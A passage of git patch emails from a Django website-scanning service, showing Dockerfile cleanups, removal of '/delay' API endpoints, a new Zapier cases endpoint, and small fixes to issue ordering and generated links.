+   - `docker compose -f docker-compose.stage.yml down`
+7. Merge `dev` branch on github using a pull request
\ No newline at end of file

From 8b10a59bdfdd64f2ed759d0b056618d66d12dd34 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 24 Jul 2024 13:43:46 -0600
Subject: [PATCH 599/752] updated Dockerfiles

---
 Dockerfile       | 20 ++++++++++----------
 Dockerfile.local | 26 +++++++++++++-------------
 2 files changed, 23 insertions(+), 23 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 6ae05831..52409c17 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -3,16 +3,20 @@ FROM python:3.9-slim
 ENV PYTHONUNBUFFERED 1
 
 # increasing allocated memory to node
-ENV NODE_OPTIONS --max_old_space_size=20000
-ENV NODE_OPTIONS "--max-old-space-size=20000"
-ENV GENERATE_SOURCEMAP false
+ENV NODE_OPTIONS=--max_old_space_size=20000
+ENV NODE_OPTIONS="--max-old-space-size=20000"
+ENV GENERATE_SOURCEMAP=false
 
 # telling Puppeteer to skip installing Chrome
-ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true 
+ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD=true 
 
 # telling phantomas where Chrome binary is and that we're in docker
-ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/chromium
-ENV DOCKERIZED yes
+ENV PHANTOMAS_CHROMIUM_EXECUTABLE=/usr/bin/chromium
+ENV DOCKERIZED=yes
+
+# Set up the Chromium environment
+ENV XDG_CONFIG_HOME=/tmp/.chromium
+ENV XDG_CACHE_HOME=/tmp/.chromium
 
 # create the app user
 RUN addgroup --system app && adduser --system app 
@@ -44,10 +48,6 @@ RUN chromium --disable-dev-shm-usage  --version
 COPY ./setup/requirements/requirements.txt /requirements.txt
 RUN python3 -m pip install -r /requirements.txt
 
-# Set up the Chromium environment
-ENV XDG_CONFIG_HOME /tmp/.chromium
-ENV XDG_CACHE_HOME /tmp/.chromium
-
 # removing chromium config
 RUN rm -rf ~/.config/chromium
 
diff --git a/Dockerfile.local b/Dockerfile.local
index 18ff2646..84e7b4a7 100644
--- a/Dockerfile.local
+++ b/Dockerfile.local
@@ -1,8 +1,20 @@
+# pull main ubuntu image and set platform to linux/amd64
 FROM --platform=linux/amd64 ubuntu:latest
-ENV DOCKER_DEFAULT_PLATFORM linux/amd64 
+ENV DOCKER_DEFAULT_PLATFORM linux/amd64
 ENV PYTHONUNBUFFERED 1
 ENV DEBIAN_FRONTEND noninteractive
 
+# increasing allocated memory to node
+ENV NODE_OPTIONS=--max_old_space_size=7000
+ENV NODE_OPTIONS="--max-old-space-size=7000"
+
+# telling Puppeteer to skip installing Chrome
+ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD=true 
+
+# telling phantomas where Chrome binary is and that we're in docker
+ENV PHANTOMAS_CHROMIUM_EXECUTABLE=/usr/bin/google-chrome-stable
+ENV DOCKERIZED=yes
+
 # create the app user
 RUN groupadd --system app & useradd --system app 
 
@@ -28,21 +40,9 @@ RUN rm google-chrome-stable_current_amd64.deb
 # begin npm portion
 RUN npm cache clean --force
 
-# increasing allocated memory to node
-RUN export NODE_OPTIONS="--max-old-space-size=4096"
-ENV NODE_OPTIONS=--max_old_space_size=7000
-ENV NODE_OPTIONS="--max-old-space-size=7000"
-
 # installing lighthouse & yellowlabtools
 RUN npm install -g lighthouse lighthouse-plugin-crux lodash
 
-# telling Puppeteer to skip installing Chrome
-ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true 
-
-# telling phantomas where Chrome binary is and that we're in docker
-ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/google-chrome-stable
-ENV DOCKERIZED yes
-
 # setting --no-sandbox for Phantomas 
 RUN google-chrome-stable --no-sandbox --version
 

From 7a4baf219a72ac2edea46124420168b99cb1d9dd Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 24 Jul 2024 19:34:25 -0600
Subject: [PATCH 600/752] fixed some zapier issues

---
 app/api/v1/auth/services.py |  1 -
 app/api/v1/ops/services.py  | 24 ++++++++++++++++--------
 2 files changed, 16 insertions(+), 9 deletions(-)

diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py
index eb9e8053..2cac5907 100644
--- a/app/api/v1/auth/services.py
+++ b/app/api/v1/auth/services.py
@@ -761,7 +761,6 @@ def get_account(request: object) -> object:
     serializer_context = {'request': request,}
     serialized = AccountSerializer(account, context=serializer_context)
     data = serialized.data
-    record_api_call(request, data, '200')
     return Response(data, status=status.HTTP_200_OK)
 
 
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 944d862d..46910b66 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -1387,8 +1387,8 @@ def create_scan(request: object=None, delay: bool=False, **kwargs) -> object:
 
     # get request data
     if request is not None:
-        site_id = request.data.get('site_id')
-        page_id = request.data.get('page_id')
+        site_id = request.data.get('site_id', '')
+        page_id = request.data.get('page_id', '')
         configs = request.data.get('configs', None)
         types = request.data.get('type', settings.TYPES)
         tags = request.data.get('tags')
@@ -1396,8 +1396,8 @@ def create_scan(request: object=None, delay: bool=False, **kwargs) -> object:
     
     # getting kwargs data
     if request is None:
-        site_id = kwargs.get('site_id')
-        page_id = kwargs.get('page_id')
+        site_id = kwargs.get('site_id', '')
+        page_id = kwargs.get('page_id', '')
         configs = kwargs.get('configs', None)
         types = kwargs.get('type', settings.TYPES)
         tags = kwargs.get('tags')
@@ -1410,6 +1410,10 @@ def create_scan(request: object=None, delay: bool=False, **kwargs) -> object:
     # updating configs if None:
     configs = account.configs if configs == None else configs
 
+    # checking args
+    site_id = site_id if len(site_id) > 0 else None
+    page_id = page_id if len(page_id) > 0 else None
+
     # verifying types
     if len(types) == 0:
         types = settings.TYPES
@@ -1971,8 +1975,8 @@ def create_test(request: object=None, delay: bool=False, **kwargs) -> object:
         tags = request.data.get('tags')
         pre_scan = None
         post_scan = None
-        site_id = request.data.get('site_id')
-        page_id = request.data.get('page_id')
+        site_id = request.data.get('site_id', '')
+        page_id = request.data.get('page_id', '')
         user = request.user
 
     # get data from kwargs
@@ -1986,8 +1990,8 @@ def create_test(request: object=None, delay: bool=False, **kwargs) -> object:
         tags = kwargs.get('tags')
         pre_scan = None
         post_scan = None
-        site_id = kwargs.get('site_id')
-        page_id = kwargs.get('page_id')
+        site_id = kwargs.get('site_id', '')
+        page_id = kwargs.get('page_id', '')
         user_id = kwargs.get('user_id')
         user = User.objects.get(id=user_id)
 
@@ -2001,6 +2005,10 @@ def create_test(request: object=None, delay: bool=False, **kwargs) -> object:
     if len(test_type) == 0:
         test_type = settings.TYPES
 
+    # checking args
+    site_id = site_id if len(site_id) > 0 else None
+    page_id = page_id if len(page_id) > 0 else None
+
     # deciding on scope
     resource = 'site' if site_id else 'page'
 

From 3c6648e47efaa7616ca7426d6aeaae79eb43dd9f Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 25 Jul 2024 12:35:37 -0600
Subject: [PATCH 601/752] removed all /delay endpoints

---
 app/api/v1/ops/services.py | 194 +++++++++++--------------------------
 app/api/v1/ops/urls.py     |   5 -
 app/api/v1/ops/views.py    |  55 -----------
 3 files changed, 58 insertions(+), 196 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 46910b66..49b06be3 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -463,63 +463,36 @@ def create_site(request: object, delay: bool=False) -> object:
     # check if scan requested
     if no_scan == False:
 
-        # check if delay was requested
-        if delay == True:
-
-            # adding pages passed in request
-            if page_urls is not None:
-                for url in page_urls:
-                    if url.startswith(site.site_url):
-                        # add new page
-                        page = Page.objects.create(
-                            site=site,
-                            page_url=url,
-                            user=site.user,
-                            account=site.account,
-                        )
-                        # create scan
-                        create_scan(
-                            page_id=page.id, 
-                            configs=configs, 
-                            user_id=request.user.id,
-                            delay=True
-                        )
-                        site.time_crawl_started = datetime.now()
-                        site.time_crawl_completed = datetime.now()
-                        site.info["latest_scan"]["time_created"] = str(datetime.now())
-                        site.save()
-            
-            # starting crawler and scans in background
-            else:
-                create_site_and_pages_bg.delay(
-                    site_id=site.id, 
-                    configs=configs
-                )
-            
+        # adding pages passed in request
+        if page_urls is not None:
+            for url in page_urls:
+                if url.startswith(site.site_url):
+                    # add new page
+                    page = Page.objects.create(
+                        site=site,
+                        page_url=url,
+                        user=site.user,
+                        account=site.account,
+                    )
+                    # create scan
+                    create_scan(
+                        page_id=page.id, 
+                        configs=configs, 
+                        user_id=request.user.id,
+                        delay=True
+                    )
+                    site.time_crawl_started = datetime.now()
+                    site.time_crawl_completed = datetime.now()
+                    site.info["latest_scan"]["time_created"] = str(datetime.now())
+                    site.save()
+        
+        # starting crawler and scans in background
         else:
-            # running crawler
-            pages = Crawler(url=site.site_url, max_urls=account.max_pages).get_links()
-            for url in pages:
-                # add new page
-                page = Page.objects.create(
-                    site=site,
-                    page_url=url,
-                    user=site.user,
-                    account=site.account,
-                )
-                # create initial scan
-                scan = Scan.objects.create(
-                    site=site,
-                    page=page, 
-                    type=settings.TYPES,
-                    configs=configs
-                )
-                # run each scan component
-                S(site=site, page=page, configs=configs).build_scan()
-                page.info["latest_scan"]["id"] = str(scan.id)
-                page.info["latest_scan"]["time_created"] = str(scan.time_created)
-                page.save()
-                
+            create_site_and_pages_bg.delay(
+                site_id=site.id, 
+                configs=configs
+            )
+            
     # serialize response and return
     serializer_context = {'request': request,}
     serialized = SiteSerializer(site, context=serializer_context)
@@ -923,23 +896,9 @@ def create_page(request: object, delay: bool=False) -> object:
         page.info["latest_scan"]["time_created"] = str(scan.time_created)
         page.save()
 
-        if delay == True:
-            # running scan in background
-            scan_page_bg.delay(scan_id=scan.id, configs=configs)
+        # running scan in background
+        scan_page_bg.delay(scan_id=scan.id, configs=configs)
 
-        else:
-            # create initial scan
-            scan = Scan.objects.create(
-                site=site,
-                page=page, 
-                type=settings.TYPES,
-                configs=configs
-            )
-            # run each scan component
-            S(site=site, page=page, configs=configs).build_scan()
-            page.info["latest_scan"]["id"] = str(scan.id)
-            page.info["latest_scan"]["time_created"] = str(scan.time_created)
-            page.save()
             
     # serialize response and return
     serializer_context = {'request': request,}
@@ -1411,6 +1370,8 @@ def create_scan(request: object=None, delay: bool=False, **kwargs) -> object:
     configs = account.configs if configs == None else configs
 
     # checking args
+    site_id = '' if site_id is None else site_id
+    page_id = '' if page_id is None else page_id
     site_id = site_id if len(site_id) > 0 else None
     page_id = page_id if len(page_id) > 0 else None
 
@@ -1472,20 +1433,16 @@ def create_scan(request: object=None, delay: bool=False, **kwargs) -> object:
         p.info['latest_scan']['id'] = str(created_scan.id)
         p.save()
 
-        if delay == True:
-            # running scans in parallel 
-            if 'html' in types or 'logs' in types or 'full' in types:
-                run_html_and_logs_bg.delay(scan_id=created_scan.id)
-            if 'lighthouse' in types or 'full' in types:
-                run_lighthouse_bg.delay(scan_id=created_scan.id)
-            if 'yellowlab' in types or 'full' in types:
-                run_yellowlab_bg.delay(scan_id=created_scan.id)
-            if 'vrt' in types or 'full' in types:
-                run_vrt_bg.delay(scan_id=created_scan.id)
-        else:
-            # running scan synchronously
-            S(scan=created_scan, configs=configs).build_scan()
-            message = 'Scans have completed running'
+        # running scans components in parallel 
+        if 'html' in types or 'logs' in types or 'full' in types:
+            run_html_and_logs_bg.delay(scan_id=created_scan.id)
+        if 'lighthouse' in types or 'full' in types:
+            run_lighthouse_bg.delay(scan_id=created_scan.id)
+        if 'yellowlab' in types or 'full' in types:
+            run_yellowlab_bg.delay(scan_id=created_scan.id)
+        if 'vrt' in types or 'full' in types:
+            run_vrt_bg.delay(scan_id=created_scan.id)
+    
 
     # returning dynaminc response
     data = {
@@ -2006,6 +1963,8 @@ def create_test(request: object=None, delay: bool=False, **kwargs) -> object:
         test_type = settings.TYPES
 
     # checking args
+    site_id = '' if site_id is None else site_id
+    page_id = '' if page_id is None else page_id
     site_id = site_id if len(site_id) > 0 else None
     page_id = page_id if len(page_id) > 0 else None
 
@@ -2110,56 +2069,19 @@ def create_test(request: object=None, delay: bool=False, **kwargs) -> object:
         # add test.id to list
         created_tests.append(str(test.id))
 
-        if delay == True:
-            # running test in background
-            create_test_bg.delay(
-                page_id=p.id,
-                test_id=test.id,
-                configs=configs,
-                type=test_type,
-                index=index,
-                pre_scan=pre_scan_id, 
-                post_scan=post_scan_id,
-                tags=tags,
-                threshold=float(threshold),
-            )
-            message = 'Tests are being created in the background'
-
-        # run with no delay  
-        else:
-            # getting pre_scan and building post_scan
-            if not pre_scan and not post_scan:
-                if scan.objects.filter(page=p).exists():
-                    pre_scan = Scan.objects.filter(page=p).order_by('-time_created')[0]
-                    post_scan = S(site=p.site, page=p, configs=configs, type=test_type).build_scan()
-                else:
-                    data = {'reason': 'no pre_scan available', 'success': False,}
-                    print(data)
-                    if request is not None:
-                        record_api_call(request, data, '400')
-                        return Response(data, status=status.HTTP_400_BAD_REQUEST)
-                    return data
-
-            # building post_scan
-            if not post_scan and pre_scan:
-                post_scan = S(site=p.site, page=p, configs=configs, type=test_type).build_scan()
-
-            # updating parired scans
-            pre_scan.paired_scan = post_scan
-            post_scan.paried_scan = pre_scan
-            pre_scan.save()
-            post_scan.save()
-
-            # updating test object
-            test.type = test_type
-            test.type = test_type
-            test.pre_scan = pre_scan
-            test.post_scan = post_scan
-            test.save()
-
-            # running tester
-            updated_test = T(test=test).run_test(index=index)
-            message = 'Tests have completed running'
+        # running test in background
+        create_test_bg.delay(
+            page_id=p.id,
+            test_id=test.id,
+            configs=configs,
+            type=test_type,
+            index=index,
+            pre_scan=pre_scan_id, 
+            post_scan=post_scan_id,
+            tags=tags,
+            threshold=float(threshold),
+        )
+        message = 'Tests are being created in the background'
 
     # returning dynaminc response
     data = {
diff --git a/app/api/v1/ops/urls.py b/app/api/v1/ops/urls.py
index 46fe4617..92959659 100644
--- a/app/api/v1/ops/urls.py
+++ b/app/api/v1/ops/urls.py
@@ -7,25 +7,21 @@
     path('site', views.Sites.as_view(), name='site'),
     path('site/<uuid:id>', views.SiteDetail.as_view(), name='site-detail'),
     path('site/<uuid:id>/crawl', views.SiteCrawl.as_view(), name='site-crawl'),
-    path('site/delay', views.SiteDelay.as_view(), name='site-delay'),
     path('sites/delete', views.SitesDelete.as_view(), name='sites-delete'),
     path('sites/zapier', views.SitesZapier.as_view(), name='sites-zapier'),
     path('page', views.Pages.as_view(), name='page'),
     path('page/<uuid:id>', views.PageDetail.as_view(), name='page-detail'),
-    path('page/delay', views.PageDelay.as_view(), name='page-delay'),
     path('pages/delete', views.PagesDelete.as_view(), name='pages-delete'),
     path('pages/zapier', views.PagesZapier.as_view(), name='pages-zapier'),
     path('scan', views.Scans.as_view(), name='scan'),
     path('scan/<uuid:id>', views.ScanDetail.as_view(), name='scan-detail'),
     path('scan/<uuid:id>/lean', views.ScanLean.as_view(), name='scan-lean'),
-    path('scan/delay', views.ScanDelay.as_view(), name='scan-delay'),
     path('scans/delete', views.ScansDelete.as_view(), name='scans-delete'),
     path('scans/create', views.ScansCreate.as_view(), name='scans-create'),
     path('scans/zapier', views.ScansZapier.as_view(), name='scans-zapier'),
     path('test', views.Tests.as_view(), name='test'),
     path('test/<uuid:id>', views.TestDetail.as_view(), name='test-detail'),
     path('test/<uuid:id>/lean', views.TestLean.as_view(), name='test-lean'),
-    path('test/delay', views.TestDelay.as_view(), name='test-delay'),
     path('tests/delete', views.TestsDelete.as_view(), name='tests-delete'),
     path('tests/create', views.TestsCreate.as_view(), name='tests-create'),
     path('tests/zapier', views.TestsZapier.as_view(), name='tests-zapier'),
@@ -35,7 +31,6 @@
     path('case/auto', views.AutoCases.as_view(), name='case-auto'),
     path('case/copy', views.CopyCases.as_view(), name='case-copy'),
     path('testcase', views.Testcases.as_view(), name='testcase'),
-    path('testcase/delay', views.TestcaseDelay.as_view(), name='testcase-delay'),
     path('testcase/<uuid:id>', views.TestcaseDetail.as_view(), name='testcase-detail'),
     path('testcases/zapier', views.TestcasesZapier.as_view(), name='testcases-zapier'),
     path('issue', views.Issues.as_view(), name='issue'),
diff --git a/app/api/v1/ops/views.py b/app/api/v1/ops/views.py
index fa92fe49..d4c12a0f 100644
--- a/app/api/v1/ops/views.py
+++ b/app/api/v1/ops/views.py
@@ -56,17 +56,6 @@ def delete(self, request, id):
 
 
 
-class SiteDelay(APIView):
-    permission_classes = (IsAuthenticated,)
-    http_method_names = ['post',]
-
-    def post(self, request):
-        response = create_site(request, delay=True)
-        return response
-
-
-
-
 class SiteCrawl(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
@@ -136,17 +125,6 @@ def delete(self, request, id):
 
 
 
-class PageDelay(APIView):
-    permission_classes = (IsAuthenticated,)
-    http_method_names = ['post',]
-
-    def post(self, request):
-        response = create_page(request, delay=True)
-        return response
-
-
-
-
 class PagesDelete(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
@@ -217,17 +195,6 @@ def get(self, request, id):
 
 
 
-class ScanDelay(APIView):
-    permission_classes = (IsAuthenticated,)
-    http_method_names = ['post',]
-
-    def post(self, request):
-        response = create_scan(request, delay=True)
-        return response
-
-
-
-
 class ScansCreate(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
@@ -308,17 +275,6 @@ def get(self, request, id):
 
 
 
-class TestDelay(APIView):
-    permission_classes = (IsAuthenticated,)
-    http_method_names = ['post',]
-
-    def post(self, request):
-        response = create_test(request, delay=True)
-        return response
-
-
-
-
 class TestsCreate(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
@@ -556,17 +512,6 @@ def get(self, request):
 
 
 
-class TestcaseDelay(APIView):
-    permission_classes = (IsAuthenticated,)
-    http_method_names = ['post',]
-
-    def post(self, request):
-        response = create_testcase(request, delay=True)
-        return response
-
-
-
-
 class TestcaseDetail(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['get', 'delete']

From 02c22a8358603c16d24837b58eb0eddd36d166c1 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 25 Jul 2024 20:29:59 -0600
Subject: [PATCH 602/752] fixed small typo

---
 app/api/utils/issuer.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/issuer.py b/app/api/utils/issuer.py
index 65884c4f..a2722331 100644
--- a/app/api/utils/issuer.py
+++ b/app/api/utils/issuer.py
@@ -201,7 +201,7 @@ def build_recommendation(
         # initializing
         recommendation = ''
 
-        # building recomendation
+        # building recommendation
         # for self.test
         if self.test:
             
@@ -226,7 +226,7 @@ def build_recommendation(
                 ]
             ).choices[0].message.content
         
-        # building recomendation
+        # building recommendation
         # for self.testcase
         if self.testcase:
 

From 8630a41852737a7e45cb7b24333c71a39e74b1ed Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 29 Jul 2024 12:18:18 -0600
Subject: [PATCH 603/752] fixed test data for zapier endpoint

---
 app/api/v1/ops/services.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 49b06be3..8cb80c4f 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2550,7 +2550,7 @@ def get_tests_zapier(request: object) -> object:
             'time_completed'   :  str(test.time_completed),
             'type'             :  test.type,
             'status'           :  str(test.status),
-            'score'            :  test.status,
+            'score'            :  test.score,
             'threshold'        :  test.threshold,
             'component_scores' :  test.component_scores,
         })

From 587a933335db64a3940c9b3baf17d1463097a815 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 29 Jul 2024 12:43:08 -0600
Subject: [PATCH 604/752] fixing generated links in issuer.py

---
 app/api/utils/issuer.py | 9 ++++++---
 1 file changed, 6 insertions(+), 3 deletions(-)

diff --git a/app/api/utils/issuer.py b/app/api/utils/issuer.py
index a2722331..f88afc6d 100644
--- a/app/api/utils/issuer.py
+++ b/app/api/utils/issuer.py
@@ -91,9 +91,9 @@ def build_issue(self):
 
             # build intro
             intro = str(
-                f'Testcase [{self.testcase.case_name}](/{trigger["type"]}/{trigger["id"]})' + 
+                f'Testcase [{self.testcase.case_name}]({settings.CLIENT_URL_ROOT}/{trigger["type"]}/{trigger["id"]})' + 
                 f' failed on **Step {step_index}**, `{failed_step["action"]["type"]}`.\n\n\n' +
-                f' **Affected Site:** [{affected["str"]}](/{affected["type"]}/{affected["id"]})\n\n\n'
+                f' **Affected Site:** [{affected["str"]}]({settings.CLIENT_URL_ROOT}/{affected["type"]}/{affected["id"]})\n\n\n'
             )
             
             # build main_issue
@@ -145,7 +145,7 @@ def build_issue(self):
             # build intro
             intro = str(
                 f'[Test](/{trigger["type"]}/{trigger["id"]}) failed for the page ' + 
-                f'[{affected["str"]}](/{affected["type"]}/{affected["id"]}) ' + 
+                f'[{affected["str"]}]({settings.CLIENT_URL_ROOT}/{affected["type"]}/{affected["id"]}) ' + 
                 f'based on the set threshold of **{round(self.test.threshold, 2)}%**.\n\n\n'
             )
 
@@ -163,6 +163,9 @@ def build_issue(self):
                 f'\n\n### Recommendations:\n' +
                 f'{response}'
             )
+        
+        # clean recommendation
+        recommendation = recommendation.replace('localhost', 'app.scanerr.io')
 
         # build details from components
         details = intro + main_issue + recommendation

From 8792c0509a7e76d7a817a455e53d04c8aa754256 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 29 Jul 2024 12:57:33 -0600
Subject: [PATCH 605/752] fixed API logging for zapier endpoints

---
 app/api/v1/ops/services.py | 1 -
 1 file changed, 1 deletion(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 8cb80c4f..5fdbf6bd 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -4621,7 +4621,6 @@ def get_testcases_zapier(request: object) -> object:
         })
 
     # serialize and return
-    record_api_call(request, data, '200')
     response = Response(data, status=status.HTTP_200_OK)
     return response
 

From fa413e29c4a26fbd213632289d9fb6d41a90aca3 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 31 Jul 2024 23:51:41 -0400
Subject: [PATCH 606/752] added audits to test LH and YL defaults

---
 app/api/models.py | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/app/api/models.py b/app/api/models.py
index 4390939c..5a4f661d 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -94,6 +94,7 @@ def get_lh_delta_default():
             "average_delta" : None,
             "current_average": None, 
         },
+        "audits": None
     }
     return lh_delta_default
 
@@ -115,6 +116,7 @@ def get_yl_delta_default():
             "fonts_delta": None,
             "serverConfig_delta": None, 
         },
+        "audits": None
     }
     return yl_delta_default
 

From 808ec6222a19af74e62aa041811b04eb0bb4c9c6 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Sun, 4 Aug 2024 14:46:29 -0600
Subject: [PATCH 607/752] added `cases/zapier` endpoint

---
 app/api/v1/ops/services.py | 64 ++++++++++++++++++++++++++++++++++++++
 app/api/v1/ops/urls.py     |  1 +
 app/api/v1/ops/views.py    | 11 +++++++
 3 files changed, 76 insertions(+)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 5fdbf6bd..158e215e 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -4330,6 +4330,70 @@ def delete_case(request: object, id: str) -> object:
 
 
 
+def get_cases_zapier(request: object) -> object:
+    """ 
+    Get all `Cases` associated with user's Account.
+
+    Expects: {
+        'request': object
+    }
+    
+    Returns -> HTTP Response object
+    """
+
+    # get request data
+    account = Member.objects.get(user=request.user).account
+    site_id = request.query_params.get('site_id')
+    cases = None
+    
+    # deciding on scope
+    resource = 'case'
+
+    # check account and resource 
+    check_data = check_account_and_resource(
+        user=request.user, resource=resource, site_id=site_id,
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get all site_id associated cases
+    if site_id:
+        site = Site.objects.get(id=site_id)
+        cases = Case.objects.filter(
+            account=account,
+            site=site
+        ).order_by('-time_created')
+
+
+    # get all account assocoiated cases
+    if cases is None:
+        cases = Case.objects.filter(
+            account=account,
+        ).order_by('-time_created')
+
+    # build response data
+    data = []
+
+    for case in cases:
+        data.append({
+            'id'              :  str(case.id),
+            'name'            :  case.name,
+            'time_created'    :  str(case.time_created),
+            'site'            :  str(case.site.id),
+            'site_url'        :  case.site_url,
+            'steps'           :  case.steps,
+            'tags'            :  case.tags
+        })
+
+    # serialize and return
+    response = Response(data, status=status.HTTP_200_OK)
+    return response
+
+
+
+
 ### ------ Begin Testcase Services ------ ###
 
 
diff --git a/app/api/v1/ops/urls.py b/app/api/v1/ops/urls.py
index 92959659..be335639 100644
--- a/app/api/v1/ops/urls.py
+++ b/app/api/v1/ops/urls.py
@@ -30,6 +30,7 @@
     path('case/search', views.CasesSearch.as_view(), name='case-search'),
     path('case/auto', views.AutoCases.as_view(), name='case-auto'),
     path('case/copy', views.CopyCases.as_view(), name='case-copy'),
+    path('cases/zapier', views.CasesZapier.as_view(), name='cases-zapier'),
     path('testcase', views.Testcases.as_view(), name='testcase'),
     path('testcase/<uuid:id>', views.TestcaseDetail.as_view(), name='testcase-detail'),
     path('testcases/zapier', views.TestcasesZapier.as_view(), name='testcases-zapier'),
diff --git a/app/api/v1/ops/views.py b/app/api/v1/ops/views.py
index d4c12a0f..e76ddbdb 100644
--- a/app/api/v1/ops/views.py
+++ b/app/api/v1/ops/views.py
@@ -492,6 +492,17 @@ def post(self, request):
 
 
 
+class CasesZapier(APIView):
+    permission_classes = (IsAuthenticated,)
+    http_method_names = ['get']
+
+    def get(self, request):
+        response = get_cases_zapier(request)
+        return response
+
+
+
+
 ### ------ Begin Testcase Views ------ ###
 
 

From c780cb2f93292d99255322474ad6cb63e33f4572 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Sun, 4 Aug 2024 16:56:04 -0600
Subject: [PATCH 608/752] updated order_by for issues

---
 app/api/v1/ops/services.py | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 158e215e..e1f35898 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2697,19 +2697,19 @@ def get_issues(request: object) -> object:
         issues = Issue.objects.filter(
             affected__icontains={'id': page_id}, 
             account=account
-        ).order_by('status', '-time_created')
+        ).order_by('-status', '-time_created')
     # get all issues scoped page if page_id passed
     if site_id is not None:
         issues = Issue.objects.filter(
             affected__icontains={'id': site_id}, 
             account=account
-        ).order_by('status', '-time_created')
+        ).order_by('-status', '-time_created')
     
     # get all account assocoiated issues
     if issues is None:
         issues = Issue.objects.filter(
             account=account
-        ).order_by('status', '-time_created')
+        ).order_by('-status', '-time_created')
 
     # serialize and return
     paginator = LimitOffsetPagination()
@@ -2783,7 +2783,7 @@ def search_issues(request: object) -> object:
         Q(account=account, title__icontains=query) |
         Q(account=account, details__icontains=query) |
         Q(account=account, affected__icontains={'str':query})
-    ).order_by('status', '-time_created')
+    ).order_by('-status', '-time_created')
     
     # serialize and rerturn
     paginator = LimitOffsetPagination()
@@ -2870,20 +2870,20 @@ def get_issues_zapier(request: object) -> object:
         issues = Issue.objects.filter(
             account=account,
             affected__icontains=page_id,
-        ).order_by('-time_created')
+        ).order_by('-status','-time_created')
 
     # get all site associated issues
     if site_id:
         issues = Issue.objects.filter(
             account=account,
             affected__icontains=site_id,
-        ).order_by('-time_created')
+        ).order_by('-status', '-time_created')
 
     # get all account assocoiated issues
     if issues is None:
         issues = Issue.objects.filter(
             account=account
-        ).order_by('status', '-time_created')
+        ).order_by('-status', '-time_created')
 
     # build response data
     data = []

From a80dcdbc2ffbb141ce75b1cea8077abb10787140 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 5 Aug 2024 15:49:42 -0600
Subject: [PATCH 609/752] removing "driver" and adding "browser" (chrome,
 firefox)

---
 Dockerfile                                    |  12 +-
 Dockerfile.local                              |  14 +-
 app/api/management/commands/driver_p_test.py  |  14 -
 .../{driver_s_test.py => driver_test.py}      |   2 +-
 app/api/tasks.py                              | 101 +-
 app/api/utils/archive/caser.py                | 899 ++++++++++++++++++
 app/api/utils/archive/driver_p.py             | 263 +++++
 app/api/utils/archive/imager.py               | 797 ++++++++++++++++
 app/api/utils/archive/wordpress_p.py          | 570 +++++++++++
 app/api/utils/autocaser.py                    |   3 +-
 app/api/utils/caser.py                        | 505 +---------
 app/api/utils/crawler.py                      |  18 +-
 app/api/utils/{driver_s.py => driver.py}      | 122 ++-
 app/api/utils/driver_p.py                     | 263 -----
 app/api/utils/exporter.py                     |   2 +-
 app/api/utils/imager.py                       | 275 +-----
 app/api/utils/scanner.py                      | 157 ++-
 app/api/utils/tester.py                       |   2 +-
 app/api/utils/wordpress.py                    |   2 +-
 app/api/utils/wordpress_p.py                  | 570 -----------
 app/api/v1/ops/services.py                    |  57 +-
 app/scanerr/settings.py                       |   2 +-
 k8s/local/app-deployment.yaml                 |   2 +-
 setup/requirements/requirements-staging.txt   |   1 -
 setup/requirements/requirements.txt           |   1 -
 setup/scripts/local-entrypoint.sh             |   3 +-
 setup/scripts/remote-entrypoint.sh            |   3 +-
 27 files changed, 2840 insertions(+), 1820 deletions(-)
 delete mode 100644 app/api/management/commands/driver_p_test.py
